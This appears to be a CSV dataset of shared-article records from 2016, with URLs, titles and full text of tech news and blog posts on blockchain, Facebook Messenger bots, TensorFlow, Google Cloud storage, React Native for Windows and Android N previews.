1460566398,CONTENT REMOVED,-8418620743404378592,-2050699458865052139,439898712475129302,,,,VIDEO,https://www.facebook.com/brasilART/videos/1241077715920886/?pnref=story,BrasilART - Efeito Paralax e Câmera Multiplano | Facebook,"Neste vídeo, Walt Disney explica o ""Efeito Paralax"" (movimentação lateral de planos) e como funciona a ""Câmera Multiplano"" (zoom de diferentes planos), efeitos facilmente obtidos através de programas mas que exigem muita habilidade na animação tradicional. A tradução foi feita por Ewerton Nepomuceno, e com esta ""aula"" fica mais fácil entender a genialidade das animações clássicas Disney.",pt
1460568663,CONTENT SHARED,3436241621287351574,4340306774493623681,6173407106018486716,,,,HTML,http://www.coindesk.com/banca-imi-blockchain-reform/,Banca IMI Researcher: Blockchain Won't Work if Business Models Don't Change - CoinDesk,"The head of interest rate and credit models at Banca IMI, an investment banking and capital markets subsidiary of Intesa Sanpaolo, has penned a new paper on blockchain technology. Dedicated to spotlighting ""real business cases"" for the technology, Massimo Morini's report argues that the lesson that should be learned from cryptocurrencies such as bitcoin is that traditional financial business model needs to be reformed, not just improved. Morini writes: ""One crucial misunderstanding here is the idea that blockchain technology can be exported to financial markets as they are to make them more efficient. This is meaningless; blockchain technology was created to change some trust-based business processes to make them less reliant on trust; without structural changes in this direction the best of blockchain technology is lost and just the inefficiencies are left."" Morini goes on to argue that the financial industry must now be prepared to use trust in a ""totally different way"" and to reimagine existing business processes. Still, he acknowledges that such efficiencies are not needed in all markets, stating that the financial industry needs to emphasize use cases where risks are outweighed by the cost savings of having less reconciliation and faster settlement. Morini highlights over-the-counter derivatives as an instance of such a market, and analyzes both current and theoretical approaches to its design. Morini goes on to conclude that new business models based on distributed accounting and blockchain-based smart contracts will require additional regulatory clarity to scale, and that digital currencies or assets will need to be convertible with central bank accounts or at financial institutions. However, he suggested such changes could come quickly, concluding: ""Legal and regulatory status could come earlier than expected if regulators see advantages in an architecture which is more transparent and creates less risk than most of the current solutions."" For more details, read the full report here . Blueprint image via Shutterstock",en
1460568690,CONTENT SHARED,2760023027553835473,4340306774493623681,6173407106018486716,,,,HTML,http://www.coindesk.com/blockchain-trusts-more-transparent/,How Blockchain Could Make Trusts More Transparent - CoinDesk,"A lecturer at the Open University and a guest lecturer at Birkbeck College, University of London, Robert Herian holds a BA in American Studies from King's College, London, and an LLM from Birkbeck College, London. In this opinion piece, Herian discusses a recent high-profile British scandal and how blockchain could offer a solution to the ethical quandary it raises. Amid the outcry over British Prime Minister David Cameron's tax affairs, his intervention in 2013 to block EU transparency rules regarding offshore trusts bears more scrutiny. It was decided that trusts should not be held to the same standards as companies when it came to making the end owners and beneficiaries publicly known. But now the Panama Papers raise important questions as to whether trusts ought to be more open to public scrutiny. A major reason for this relates to fairness when it comes to paying taxes. However, blockchain may provide a solution to this problem, enabling trusts to be more transparent, while ensuring the security of their holdings, too. Trusts are often highly complex legal arrangements; but they tend to work on the same fundamental basis. First conceived many hundreds of years ago, trusts provide a unique method of property management. This uniqueness relates to how wealth is used, and relies on the separation of beneficial ownership from the responsibilities of property management that come with holding legal title. Trusts come in both public and private forms. But their history points to an intimate desire for individuals and families to be able to preserve their wealth and, importantly, pass it on to the next generation. Origin of trusts One popular story of how trusts came into being involved the Crusaders of the 11th and 12th centuries who, before leaving to fight in the Middle East, arranged for their land to be tended and managed by a friend in trust (a trustee), on behalf of their family (as beneficiaries). This method of property management and transfer had not previously been recognized by Common Law, which viewed the friend as taking the land absolutely when given charge of it. But Equity, at the time a separate body of law in England and Wales, saw things differently . Based on fairness, Equity developed rules that protected the beneficial interest of the family, while at the same time applying strict fiduciary duties and obligations of trust and loyalty to the friend. This meant that the friend had to look after the property as they had been directed to by the Crusader. Trusts now appear in the form of international commercial investment and trade vehicles; public and private pension funds; and charities, to name but three of the more economically significant. Yet, those same foundations and consensual principles between the Crusader, the friend and the family fundamentally remain. This means that trusts conform to traditional privacy models found elsewhere in banking and finance, insofar as they shield from public view the identities of the objects of the trust, as well as the nature of many of the trust's investments and transactions. It is primarily in regard to where this ""shield"" is positioned that greater levels of transparency apply on the blockchain. Smart contracts As part of some recent research , I have been considering how blockchain technology (most famous for its role in the cryptocurrency bitcoin) and other legal-like processes that blockchain facilitates, namely computer programs called "" smart contracts "", might be mapped onto trusts law and trusteeship. The key to the question of whether blockchain can make trusts more open to the public lies in its fundamental characteristics. Blockchain is essentially a peer-to-peer, distributed ledger system that is able to register information in an immutable way. This could take the form of a register of legal titles to property and beneficial interests, both of which are central to trusts. In this sense, blockchain is a highly reliable witness regarding the information it deals with. Furthermore, as part of the process of adding or registering information on blockchain, that information is announced publicly, providing an entire, transparent history capable of public scrutiny. This does not mean that the blockchain is not private - cultural as well as commercial sensitivity around the privacy of financial information can still be maintained - but it is achieved in a different way. Using two sets of encrypted keys, one public and one private, to validate transactions provides the possibility for secure, private spaces that nevertheless remain in public view. Unlike other methods that maintain privacy of investments and transactions by shielding the entire process from public view, including the identities of individual parties, the blockchain breaks the flow of information in another place: by keeping public keys anonymous. So a trust could take the form of a ""private space"". More specifically what is legally defined as a trust could be mapped onto the blockchain processes behind that ""private space"". This would create, what I call a ""smart trust"" - a secure private space, yet one primed for public scrutiny. The potential of the blockchain as described here is something of a ""third way"" to existing privacy models. Because trusts come in many shapes and sizes, blockchain ""smart trusts"" would undeniably suit some types more than others - it is not a case of one size fits all. While trusts have a very long history, the blockchain has a very short one. It will take time to understand if and how the two might work together. But if greater levels of honesty and transparency are needed, the blockchain could provide an answer. This article was originally published on The Conversation and has been republished here under its terms and conditions. Transparency image via Shutterstock Disclaimer: The views expressed in this article are those of the author and do not necessarily represent the views of, and should not be attributed to, CoinDesk. Finance Smart Contracts Transparency",en
1460568855,CONTENT SHARED,-2880002165720705376,-1443636648652872475,-7298018010644449122,,,,HTML,http://www.theverge.com/2016/4/12/11416472/facebook-messenger-ai-bots-slow-f8-conference,Facebook's new Messenger bots are the slowest way to use the internet,"Today, Facebook announced a bold new bot initiative that lives inside its Messenger application : artificial intelligence-powered personalities at our beck and call for shopping, checking the weather, getting news updates, and more. There's just one problem: the bots are slow... painfully slow. In fact, Poncho the ""weathercat,"" which Facebook messaging chief David Marcus demoed onstage at the company's F8 developer conference today, comes with a disclaimer that it ""typically replies within an hour."" That's neat, if you're the kind of person who can spend an hour waiting to know whether it's going to rain. The company's new bot platform comes with a bevy of tools for developers. That means third-parties can create their own AI assistants for us to talk to. The Wall Street Journal' s bot, for instance, gives you ""the day's top stories, breaking news updates, and instant markets coverage."" The words ""breaking"" and ""instant"" are a bit ambitious - I sent a message to the WSJ bot and heard back about four minutes later. Once you start talking with the bot, it gets speedier. But a majority of your interactions will involve asking for specific pieces of information and then waiting to see if it's what you wanted. Bot latency is weird - you're not a person, why does it take 5 mins to respond? Also, why have 'typing' bubbles? pic.twitter.com/rPRiIwuQ1o - megan quinn (@msquinn) April 12, 2016 The problem is inherent to Facebook's own M bot as well. The service, which debuted in beta last fall , often takes minutes to get back to you and sometimes does so only with a follow-up question to clarify, adding extra time to the exchange. It even utilizes the bouncing trio of dots to indicate it's typing, which is an eerie thing for a piece of software to do. To be fair, M relies on a mix of AI and human components. So some responses naturally take more time while a real person on the other end makes a phone call or dives into online web ordering systems. But for simple questions, these bots' answers are not instantaneous in a way we might associate with our new robo-butlers. Of course, for Facebook M and Messenger's other bots, this slowness could be an early stopgap. Any amount of delay could be designed to let the platform get up to speed with how users plan on making use of these assistants and whether they can withstand a swell of demand. Why use bots when our fingers are faster? Yet it also raises a conundrum for the impending bot revolution (and developer gold rush): why use AI-powered software if it's going to be slower than human fingers on a keyboard? I can check the weather by typing command+t and then ""weather"" in Chrome in about one second. I don't even need to hit enter, as Google now populates the temperature result as the first drop-down option. Using a bot also involves some back-and-forth for pretty much any request. You sometimes have to prick and prod with follow-ups and clarifications and add extra context to get the answer you're looking for. It's cool to see a request worked out in real time, but the process is not what you might consider efficient. Granted, bots are not necessarily designed, at least not now, to be faster than us. The real value in the short term is automation. One of Poncho's first questions is to ask whether you want a daily and evening weather report sent to you. The idea is to anticipate our needs and wants and deliver something useful at the right time, without us having to ask. For more complex operations that aren't super time dependent, like shopping or placing a food order, bots can let us jot in a few commands over the course of 10 or 20 minutes while we focus on work. Over time, these bots should be able to take on more responsibility, as they become smarter, more capable, and better at understanding the nuances of human language. You can even imagine being able to create whole workflows - similar to Photoshop actions or the productivity software Alfred - where we've trained our bots to execute a multi-step series of actions when we type in a special command. For now, however, you're better off typing into Google unless you have time to kill.",en
1460568932,CONTENT SHARED,-5623496706605874646,-1443636648652872475,-7298018010644449122,,,,HTML,http://www.theverge.com/2016/4/12/11416472/facebook-messenger-ai-bots-slow-f8-conference,Facebook's new Messenger bots are the slowest way to use the internet,"Today, Facebook announced a bold new bot initiative that lives inside its Messenger application : artificial intelligence-powered personalities at our beck and call for shopping, checking the weather, getting news updates, and more. There's just one problem: the bots are slow... painfully slow. In fact, Poncho the ""weathercat,"" which Facebook messaging chief David Marcus demoed onstage at the company's F8 developer conference today, comes with a disclaimer that it ""typically replies within an hour."" That's neat, if you're the kind of person who can spend an hour waiting to know whether it's going to rain. The company's new bot platform comes with a bevy of tools for developers. That means third-parties can create their own AI assistants for us to talk to. The Wall Street Journal' s bot, for instance, gives you ""the day's top stories, breaking news updates, and instant markets coverage."" The words ""breaking"" and ""instant"" are a bit ambitious - I sent a message to the WSJ bot and heard back about four minutes later. Once you start talking with the bot, it gets speedier. But a majority of your interactions will involve asking for specific pieces of information and then waiting to see if it's what you wanted. Bot latency is weird - you're not a person, why does it take 5 mins to respond? Also, why have 'typing' bubbles? pic.twitter.com/rPRiIwuQ1o - megan quinn (@msquinn) April 12, 2016 The problem is inherent to Facebook's own M bot as well. The service, which debuted in beta last fall , often takes minutes to get back to you and sometimes does so only with a follow-up question to clarify, adding extra time to the exchange. It even utilizes the bouncing trio of dots to indicate it's typing, which is an eerie thing for a piece of software to do. To be fair, M relies on a mix of AI and human components. So some responses naturally take more time while a real person on the other end makes a phone call or dives into online web ordering systems. But for simple questions, these bots' answers are not instantaneous in a way we might associate with our new robo-butlers. Of course, for Facebook M and Messenger's other bots, this slowness could be an early stopgap. Any amount of delay could be designed to let the platform get up to speed with how users plan on making use of these assistants and whether they can withstand a swell of demand. Why use bots when our fingers are faster? Yet it also raises a conundrum for the impending bot revolution (and developer gold rush): why use AI-powered software if it's going to be slower than human fingers on a keyboard? I can check the weather by typing command+t and then ""weather"" in Chrome in about one second. I don't even need to hit enter, as Google now populates the temperature result as the first drop-down option. Using a bot also involves some back-and-forth for pretty much any request. You sometimes have to prick and prod with follow-ups and clarifications and add extra context to get the answer you're looking for. It's cool to see a request worked out in real time, but the process is not what you might consider efficient. Granted, bots are not necessarily designed, at least not now, to be faster than us. The real value in the short term is automation. One of Poncho's first questions is to ask whether you want a daily and evening weather report sent to you. The idea is to anticipate our needs and wants and deliver something useful at the right time, without us having to ask. For more complex operations that aren't super time dependent, like shopping or placing a food order, bots can let us jot in a few commands over the course of 10 or 20 minutes while we focus on work. Over time, these bots should be able to take on more responsibility, as they become smarter, more capable, and better at understanding the nuances of human language. You can even imagine being able to create whole workflows - similar to Photoshop actions or the productivity software Alfred - where we've trained our bots to execute a multi-step series of actions when we type in a special command. For now, however, you're better off typing into Google unless you have time to kill.",en
1460570128,CONTENT SHARED,3564394485543941353,-1443636648652872475,-7298018010644449122,,,,HTML,http://www.wired.com/2016/04/google-supercharging-tensorflow-open-source-ai/,Google Is About to Supercharge Its TensorFlow Open Source AI,"Google's free open source framework TensorFlow is about to get more powerful. Last year Google opened TensorFlow to the entire world. This meant that any individual, company, or organization could build their own AI applications using the same software that Google does to fuel everything from photo recognition to automated email replies. But there was a catch. While Google stretches its platform across thousands of computer servers, the version it released to the public could run only on a single machine. This made TensorFlow considerably less capable for others. Google is trying to fix that deficiency now. Today the company is releasing a new version of TensorFlow, and the most notable new feature is the ability to run it on multiple machines at the same time. Not everyone needs to run TensorFlow on hundreds, let alone thousands, of servers. But many researchers and startups could will benefit from being able to run TensorFlow on multiple machines. TensorFlow technical lead Rajat Monga explains that the delay in releasing a multi-server version of TensorFlow was due to the difficulties of adapting the software to be usable outside of Google's highly customized data centers. ""Our software stack is differently internally from what people externally use,"" he says. ""It would have been extremely difficult to just take that and make it open source."" The TensorFlow team opted to release a more limited version last year just to get something into researchers' hands while continuing to work on more advanced features. TensorFlow Unleashed TensorFlow is based on a branch of AI called deep learning, which draws inspiration from the way that human brain cells communicate with each other. Deep learning has become central to the machine learning efforts of other tech giants such as Facebook, Microsoft, and Yahoo, all of which are busy releasing their own AI projects into the wild. Early last year Facebook released some of the tools it uses to run the open source AI framework Torch across multiple servers. This year Microsoft open sourced its own AI framework that can run on multiple servers, and Yahoo quickly followed suit . Despite the available alternatives, TensorFlow is already surprisingly popular. It was among the six open source projects that received the most attention from developers in all of 2015, even though it was only released in November. But it's only now that TensorFlow has been unshackled from the one-machine limit that we'll start to really see what it's capable of. Ever wished you could order Taco Bell for everyone in the office using a simple chat bot? No? Well, you'll soon be able to it anyway. Taco Bell has blessed the world with TacoBot, a chatbot for the popular workplace chat app Slack. Tell TacoBot what you want, and it keeps a running tally of your order, just like that screen at the drive-thru. When you're done, pay through TacoBot and pick up your order at the Nearest Participating Taco Bell. If that sounds like it would be handy for your team-or, you know, your ""team""-you can join the waiting list . Be warned, though-it might be a few months before you revel in the miracle of this advance in productivity tech, says Martin Legowiecki. He's the creative technology director at Deutsch , the agency that built TacoBot. And even after you're in, you'll still have to send someone with the Taco Bell app on their phone to fetch the order. So, much like the Tacocopter before it, the real bot-ified future of meat, cheese, and tortilla still hasn't arrived. But fear not: Legowiecki says delivery is something Taco Bell is working on, too. Really Slacking TacoBot is one of the most gluttonous manifestations yet of the bot-powered future of work that many companies predict. In China, people already use the popular instant message app WeChat for all sorts of daily tasks, from checking their bank balances to ordering cabs to buying sneakers. Silicon Valley entrepreneurs are betting that chatbots will replace apps here in the US, too. Slack, with competitors like Hipchat, hope this chat revolution won't just change consumer behavior but the way work gets done at corporations with lots of money to spend on office supplies, company lunches, and whatever else big companies spend their budgets on. Slack is taking this so seriously that last year it said that it would invest $80 million in companies that build Slack bots. That vision of the future aside, TacoBot came about almost by accident. Deutsch was contracted by Taco Bell to redesign the company's website, Legowiecki says. During the course of that project, the Taco Bell and Deutsch teams worked together using Slack. ""They fell in love with it, we fell in love with it,"" Legowiecki says. ""So we though wouldn't it be great to make Taco Bell available through Slack?"" The Deutsch team built TacoBot using Wit.ai , an online service for building software that's able understand and respond to human language. (Facebook bought Wit.ai last year to help build its virtual assistant M .) Legowiecki says this means it will be able to bring TacoBot to other apps in the future, such as Hipchat, Facebook Messenger, Amazon Echo, even Apple TV. In other words, food bots are coming, whether you want them or not. As if you need another excuse to hit the drive-thru. Facebook Facebook Facebook Facebook is now using artificial intelligence to automatically generate captions for photos in the News Feed of people who can't see them. The tool is called Automatic Alternative Text, and it dovetails with text-to-speech engines that allow blind people to use Facebook in other ways. Using deep neural networks , the system can identify particular objects in a photo, from cars and boats to ice cream and pizza. It can pick out particular characteristics of the people in the photo, including smiles and beards and eyeglasses. And it can analyze a photo in a more general sense, determining that a photo depicts sun or ocean waves or snow. The text-to speech engine will then ""read"" these things aloud. A Facebook employee named Matt King showed me a prototype of the service last fall . King, 49, is blind, and though he acknowledged that the service was far from perfect, he said it was a notable improvement over the the status quo. He wasn't wrong. King showed the system a photo of a friend and his bike as he traveled through Europe. Facebook's AI described the scene as outdoors. It said the photo included grass and trees and clouds, and that the scene was near water. If the photo had turned up in his News Feed in the past, King would have known only that his friend had posted a photo. ""My dream is that it would also tell me that it includes Christoph with his bike,"" King told me. ""But from my perspective as a blind user, going from essentially zero percent satisfaction from a photo to somewhere in the neighborhood of half ... is a huge jump."" As King told me, the system doesn't always get things right. And it hasn't yet reached a point where it generates captions in full and complete sentences. But this will come. Others have already used deep neural nets to do much the same thing. As King pointed out, a service that only gets part of the way there is still important now -Facebook says that more than 50,000 people already are using the service with text-to-speech engines. In December, when WIRED spoke to Andrew Moore, the dean of computer science at Carnegie Mellon, he said that 2016 would be the year that machines learn to grasp human emotions. Now, right on cue, Apple has acquired Emotient, a startup that uses artificial intelligence to analyze your facial expressions and read your emotions. First reported by The Wall Street Journal , the deal is notable because, well, it's Apple, the world's most valuable company and one of the most powerful tech giants. It's unclear how Apple intends to use the company, but as Moore indicates, the tech built by Emotient is part of much larger trend across the industry. Using what are called deep neural networks-vast networks of hardware and software that approximate the web of neurons in the human brain-companies like Google and Facebook are working on similar face recognition technology and have already rolled it into their online services. 'There are huge implications in terms of making dialogue with computers much more meaningful.' ""We have very real data points showing computers doing a better job than humans in accessing emotional states,"" Moore said in December. ""There are huge implications in terms of making dialogue with computers much more meaningful."" Moore points our that such technology can be used for everything from security to accessing mental heath. As the Journal explains, Emotient sold its tech to advertisers, letting them analyze how consumers responded to their ads. According to the startup, doctors have also used the technology to determine patient pain, and retailers have used it to track how shoppers react to products in stores. With deep neural nets, machines can learn to do certain tasks by analyzing large amounts of data. If you feed enough photos of someone smiling into a neural net, for instance, it can learn to understand when someone is happy. And these techniques can be applied to more than just images. They have also proved successful with speech recognition and, to a certain extent, natural language understanding. Google and Facebook and Microsoft are at the forefront of this deep learning movement. But Apple been pushing in the same direction. In the fall, Apple acquired a startup called VocalIQ, which uses deep neural nets for speech recognition. You might not be able to hide your true feelings from Siri for much longer. Tesla founder Elon Musk, big-name venture capitalist Peter Thiel, LinkedIn co-founder Reid Hoffman, and several other notable tech names have launched a new artificial intelligence startup called OpenAI, assembling a particularly impressive array of AI talent that includes a top researcher from Google. But the idea, ostensibly, isn't to make money. Overseen by ex-Googler Ilya Sutskever and Greg Brockman, the former CTO of high-profile payments startup Stripe, OpenAI has the talent to compete with the industry's top artificial intelligence outfits, including Google and Facebook-but the company has been setup as a non-profit. ""Our goal is to advance digital intelligence in the way that is most likely to benefit humanity as a whole, unconstrained by a need to generate financial return,"" Brockman said in a blog post . The apparent aim is to build systems based on deep learning, a form of artificial intelligence that has proven extremely adept in recent years at identifying images, recognizing spoken words, translating from one language to another, and, to a certain extent, understanding the natural way that we humans talk. Sutskever is a protege of Geoff Hinton , one of the founding fathers of the deep learning movement, who now works for Google. Deep learning relies on what are called neural networks, vast networks of machines that approximate the networks of neurons in the human brain. Feed enough photos of a cat into a neural net, and it can learn to identify a cat. Feed enough dialogue into a neural net, and it can learn to carry on a pretty good, if sometimes dodgy, conversation. The hope is that top researchers can take this much further. Some believe the method can even be used to mimic human common sense. Currently, companies like Google and Facebook and Microsoft sit at the forefront of this movement. But OpenAI aims push the state of the art forward without worrying about financial gain. Instead, they intend to open source their work, freely sharing it with the world at large. Recently, Google open sourced the core software engine , TensorFlow, that drives its deep learning services, and just this week, Facebook open sourced its deep learning hardware . They too are looking to advance the technology through widespread collaboration. But you have to wonder if they made these moves because they knew OpenAI was on the way. OpenAI certainly has the pedigree to make some serious headway in the field. Musk and Thiel are co-chairs of the company. Other backers include Alan Kay, one of the founding fathers of the PC, and Yoshua Bengio, another top deep learning researcher. Altogether, OpenAI says, its backers have committed $1 billion to the project. Sometimes you have to spend money, even if you don't plan on making any. Google is getting really, really good at recognizing photos and videos of cats . All it took was supplying millions of examples so that the company's software-based on a branch of artificial intelligence called deep learning-could start recognizing the difference between cats and other furry creatures. But Jeremy Howard wants to use deep learning for something a little more practical: diagnosing illnesses. And he's finally getting his chance. Today Howard's company, Enlitic, said it was going to start working with Capitol Health Limited, a radiology clinic with locations across Australia, to have its software look at X-rays. Enlitic won't replace radiologists. Instead, the software is designed to help them do their jobs more quickly and make fewer mistakes. First, it checks each file submitted to make sure the image matches what the technicians say it's supposed to be-for example, it makes sure that if an image is tagged as a left knee that it's not actually a right knee. Then, it looks for anomalies in the image. Depending on what it finds, it assigns a priority to the X-ray and routes it to a radiologist. For example, if it finds nodules on an image of a pair of lungs, it will assign it a high-priority status and route it to a pulmonary radiologist. If it detects what appears to be an aneurysm, it will route the X-ray to a cardiovascular radiologist instead. If it finds no anomalies, it will mark it as low priority. After a radiologist has reviewed the image, the software will help write the paperwork by auto-generating text for some of the more tedious parts of a report. Enlitic's X-ray algorithms are just the latest example of deep learning being put to practical use. Facebook is now using deep learning techniques to caption photos for the blind . Yelp recently explained how it's using deep learning to optimize what photos it shows on restaurant listings. And similar techniques are also part of what powers Microsoft's Skype Translate . And Enlitic isn't the only company trying to apply artificial intelligence to medicine. IBM's Watson has been used for research at Memorial Sloan-Kettering Cancer Center and more recently to provide diet and exercise advice . The app Bright.md aims to help physicians speed up routine appointments. But Enlitic's deal appears to be one of the biggest real-world tests of deep learning's ability to aid medical diagnostics. Eventually, Howard hopes the technology will help expand access to medical diagnostics as Capital Health begins opening clinics in Asia. He cites World Economic Forum report that forecasts a severe shortage of medical experts in the developing world if training programs aren't accelerated. With any luck, artificial intelligence can shoulder some of that burden. Over the past few years, the world's biggest chipmaker has been buying up companies to help make its chips smarter. Through acquisitions of companies like Indisys , Xtremeinsights , and perhaps most importantly, fellow chip maker Altera (a $16.7 billion deal), Intel has devoted much its artificial intelligence efforts on baking AI into its into chips, as well as software that powers its 3-D video cameras. Today, Intel has added yet more AI to its portfolio with the purchase of Saffron Technology . Like many other AI startups, Saffron attempts to extract useful information from huge datasets via algorithms inspired in part on the way the human brain works. But instead of focusing on deep learning , the trendy branch of AI in which Google and Facebook are heavily investing, Saffron is focused its own technique called associative memory. The company was founded in 1999 by former IBM Knowledge Management and Intelligent Agent Center chief scientist Manuel Aparicio and led by former PeopleSoft executive Gayle Sheppard. It has deep roots in the enterprise software industry and cut its teeth selling software to the Department of Defense, such as a system for predicting the likely location of roadside bombs in Iraq. ""We see an opportunity to apply cognitive computing not only to high-powered servers crunching enterprise data, but also to new consumer devices that need to see, sense, and interpret complex information in real time,"" Intel New Technology Group Senior Vice President Josh Walden says. ""Big data can happen on small devices, as long as they're smart enough and connected.""",en
1460570144,CONTENT SHARED,-8971085667828564532,3891637997717104548,-8565657953856638124,,,,HTML,https://cloudplatform.googleblog.com/2016/03/introducing-Google-Cloud-Persistent-Disks-with-non-disruptive-online-resizing.html,Introducing online resizing of Google Cloud Persistent Disks without downtime,"Google Compute Engine provides Persistent Disks to use as the primary block storage for your virtual machine instances. Provisioning the appropriate size of block storage has been a challenge for many cloud and on-premise customers because it requires planning for future data growth and performance needs. When a virtual machine runs out of space, there was no easy way to scale the size of your block storage. Today we're announcing general availability of online resizing for Persistent Disks . It's as easy as a button click or a single API call. It doesn't cause any downtime to Google Compute Engine instances and doesn't require snapshotting. It applies to all Persistent Disks, including the recently announced 64 TB volumes . With the introduction of this feature, Persistent Disk capacity planning becomes much simpler. Persistent Disks can be provisioned based on immediate needs and increased in size later when you require more space or performance. Instead of implementing a complex workflow that would take the system offline - such as snapshot the disk, restore the snapshot to a larger device then bring back online again - there's a single command that makes physical devices larger. The device immediately has higher IOPS and throughput limits. After you resize a disk that's already mounted on a VM instance, resize the file system. Usually it's as simple as running resize2fs on Linux or resizing partitions in Windows Disk Manager. Internally we've been using online disk resizing with Cloud SQL Second Generation . It has enabled automatic growth of Persistent Disks used by Google Cloud SQL with no downtime. We hope you enjoy the new feature! - Posted by Igor Belianski, Software Engineer, Google Compute Engine 1 Persistent Disk performance depends on the size of the volume and the type of disk you select. Larger volumes can achieve higher I/O levels than smaller volumes.",en
1460570213,CONTENT SHARED,-1926525896637230556,3891637997717104548,-8565657953856638124,,,,HTML,https://cloudplatform.googleblog.com/2016/02/Compute-Engine-now-with-3-TB-of-high-speed-Local-SSD-and-64-TB-of-Persistent-Disk-per-VM.html,Compute Engine now with 3 TB of high-speed Local SSD and 64 TB of Persistent Disk per VM,"To help your business grow, we are significantly increasing size limits of all Google Compute Engine block storage products, including Local SSD and both types of Persistent Disk . Now up to 64TB of Persistent Disk may be attached per VM for most machine types, including both Standard and SSD-backed Persistent Disk. The volume size limit has increased to 64 TB also, eliminating the need to stripe disks for larger volumes. Persistent Disk provides fantastic price-performance and offers excellent usability for workloads that rely on durable block storage. Persistent Disk SSD delivers 30 IOPS per 1 GB provisioned, up to 15,000 IOPS per instance. Persistent Disk Standard is great value at $0.04 per GB-mo and provides 0.75 read IOPS per GB and 1.5 write IOPS per GB. Performance limits are set at an instance level, and can be achieved with just a single Persistent Disk. We have also increased the amount of Local SSD that can be attached to a single virtual machine to 3 TB. Available in Beta today, you can attach twice as many partitions of Local SSD to Google Compute Engine instances. Up to eight 375 GB partitions or 3 TB of high IOPS SSD can now be attached to any machine with at least one virtual CPU. We talked with Aaron Raddon, Founder and CTO at Lytics who tested our larger Local SSDs. He found they improved Cassandra performance by 50% and provide provisioning flexibility that can lead to additional savings. The new, larger SSD has the same incredible IOPS performance we announced in January, topping out at 680,000 random 4K read IOPS and 360,000 random 4K write IOPS. With Local SSD you can achieve multiple millions of operations per second for key-value stores and a million writes per second using as few as 50 servers on NoSQL databases . Local SSD retains the competitive pricing of $0.218 per GB/month while continuing to support extraordinary IOPS performance. As always, data stored in Local SSD is encrypted and our live migration technology means no downtime during maintenance. Local SSD also retains the flexibility of attaching to any instance type. Siddharth Choudhuri, Principal Engineer at Levyx stated that doubling capacity on local SSDs with the same high IOPS is a game changer for businesses seeking low-latency and high throughput on large datasets. It enables them to index billions of objects on a single, denser node in real-time on Google Cloud Platform when paired with Levyx's Helium data store. To get started, head over to the Compute Engine console or read about Persistent Disk and Local SSD in the product documentation. - Posted by John Barrus, Senior Product Manager, Google Cloud Platform",en
1460573198,CONTENT SHARED,8870251820986769829,6971525809430309144,-5963659070097746831,,,,HTML,http://www.windowscentral.com/facebook-adds-windows-10-uwp-support-making-react-native-based-apps,Facebook adds Windows 10 UWP support for making React Native-based apps,"Facebook is expanding the reach of apps that are made with its React Native framework. Today, as part of its F8 conference, the company announced it has added Windows 10 UWP support for making apps that use React Native. In a blog post , Microsoft stated: The new UWP support extends the reach of these native apps to a new market of 270 million active Windows 10 devices, and the opportunity to reach beyond mobile devices, to PCs, and even the Xbox One and HoloLens. For Windows app developers, it also means an opportunity to embed React Native components into their existing UWP apps and to leverage the developer tools and programming paradigms that React Native offers. React Native is an open source project, and Microsoft will contribute by offering tools such as the React Native extension for Visual Studio Code to that community. It added: As opposed to a ""write once, run everywhere"" kind of framework, React Native expects each platform to differentiate with distinct features and capabilities that apps can, and should, uniquely capture. Instead, they use the phrase ""learn once, write everywhere"" to capture the fact that React Native is as much about the programming model and developer tools that populate its ecosystem as it is about sharing code. The same goes for React Native on UWP; an app written for UWP with React Native should feel just as natural as an app written directly in XAML. Oh boy! 6 min ago By Ara Wagoner I say this with love: your wallpaper's old. Old wallpapers are sad wallpapers, and life's too short for sad wallpapers. Get some happy, new Disney wallpapers. chat in your browser 17 min ago By 3 John Callaham Microsoft offered an update on plans to support Real Time Communication APIs in its Microsoft Edge web browser for Windows 10. Share the messages 35 min ago By 3 John Callaham WorkPress has announced that it has given users of its website and blogging service the option to add sharing buttons for the Skype, WhatsApp and Telegram messaging services. Play with no ads 1 hour ago By 9 John Callaham Microsoft is offering a free week of access to the Microsoft Solitaire Collection Premium Edition for Windows 10. The free trial will remove the in-app ads in the game along with some extra bonuses.",en
1460574635,CONTENT SHARED,-8909927294729358771,-1836083230511905974,4179652955565084849,,,,HTML,http://android-developers.blogspot.com.br/2016/04/android-n-developer-preview-2-out-today.html,"Android N Developer Preview 2, out today! | Android Developers Blog","Posted by Dave Burke, VP of Engineering Last month, we released the first Developer Preview of Android N , to give you a sneak peek at our next platform. The feedback you've shared to-date has helped us catch bugs and improve features. Today, the second release in our series of Developer Previews is ready for you to continue testing against your apps. This latest preview of Android N fixes a few bugs you helped us identify, such as not being able to connect to hidden Wi-Fi networks ( AOSP 203116 ), Multiwindow pauses ( AOSP 203424 ), and Direct Reply closing an open activity ( AOSP 204411 ), to name just a few. We're still on the hunt for more; please continue to share feedback, either in the N Developer Preview issue tracker or in the N preview community . What's new: Last month's Developer Preview introduced a host of new features , like Multi-window, bundled notifications and more. This preview builds on those and includes a few new ones: New human emoji New activity emoji API changes: This update includes API changes as we continue to refine features such as multi-window support (you can now specify a separate minimum height and minimum width for an activity), notifications, and others. For details, take a look at the diff reports available in the downloadable API reference package . Bug fixes: We've resolved a number of issues throughout the system, including these fixes for issues that you've reported through the public issue tracker. Please continue to let us know what you find and follow along with the known issues here . How to get the update: The easiest way to get this and later preview updates is by enrolling your devices in the Android Beta Program . Just visit g.co/androidbeta and opt-in your eligible Android phone or tablet -- you'll soon receive this (and later) preview updates over-the-air. If you've already enrolled your device, you'll receive the update shortly, no action is needed on your part. You can also download and flash this update manually . Developer Preview 2 is intended for developers and not as a daily driver; this build is not yet optimized for performance and battery life. The N Developer Preview is currently available for Nexus 6, Nexus 5X, Nexus 6P, Nexus 9, and Pixel C devices, as well as General Mobile 4G [Android One] devices. For Nexus Player, the update to Developer Preview 2 will follow the other devices by several days. To build and test apps with Developer Preview 2, you need to use Android Studio 2.1 -- the same version that was required for Developer Preview 1. You'll need to check for SDK components updates (including build tools and emulator system images) for Developer Preview 2 -- see here for details. Thanks so much for all of your feedback so far. Please continue to share feedback, either in the N Developer Preview issue tracker or in the N preview community . The sooner we're able to get your feedback, the more of of it we will be able to incorporate in the next release of Android.",en
